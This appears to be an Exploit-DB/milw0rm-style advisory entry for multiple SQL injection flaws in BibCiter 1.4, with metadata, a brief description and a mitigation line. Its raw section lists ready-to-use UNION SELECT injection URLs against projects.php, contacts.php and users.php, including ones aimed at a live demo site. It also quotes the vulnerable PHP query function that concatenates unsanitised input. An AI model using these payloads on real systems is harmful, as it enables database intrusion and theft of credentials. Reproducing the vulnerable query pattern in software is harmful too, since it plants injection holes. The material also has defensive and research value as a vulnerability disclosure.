BibCiter 1.4 Multiple SQL Injection Vulnerability

vendor:

BibCiter

by:

nuclear

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: BibCiter

Affected Version From: 1.4

Affected Version To: 1.4

Patch Exists: NO

Related CWE: N/A

CPE: a:bibciter:bibciter:1.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

BibCiter 1.4 Multiple SQL Injection Vulnerability

BibCiter 1.4 is vulnerable to multiple SQL injection vulnerabilities due to improper sanitization of user-supplied input. An attacker can exploit this vulnerability by sending malicious SQL queries to the vulnerable application. This can allow the attacker to gain access to sensitive information stored in the database, such as usernames and passwords, or to modify the contents of the database.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

#BibCiter 1.4 Multiple SQL Injection Vulnerability


#Author: nuclear


#site:
http://bibciter.sourceforge.net/


#vuln:
http://localhost/[path]/projects.php?idp=-721) UNION SELECT @@version%23
http://localhost/[path]/contacts.php?idc=-1) UNION SELECT @@version%23
http://localhost/[path]/users.php?idu=-1) UNION SELECT @@version%23


#demo:
http://bibciter.net/demo/reports/projects.php?idp=-721)%20UNION%20SELECT%20@@version%23
http://bibciter.net/demo/reports/contacts.php?idc=-1)%20UNION%20SELECT%20@@version%23
http://bibciter.net/demo/reports/users.php?idu=-1)%20UNION%20SELECT%20@@version%23


#notes:
watch the title for your query results ^^


#description:
vulnerable function:

function get_vatitle($idregister,$idregistervalue,$nameregister,$tableregister,$pretitle) {
 $vartitle = "SELECT $nameregister FROM $tableregister WHERE ($idregister=$idregistervalue)";
 $vartitle = mysql_query($vartitle) or die("error functions_queries line 4");
 $vartitle = mysql_fetch_array($vartitle);
 extract($vartitle);
 $title = $pretitle." &raquo; ".$$nameregister;
 return $title;
}

called in these files:
projects.php;contacts.php;users.php;types_authors.php;bibliographies.php;types_projects.php;
types_languages.php;types_countries.php;


#Special Greets to my bro Mi4night.. ur always the best


#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar


# milw0rm.com [2009-01-16]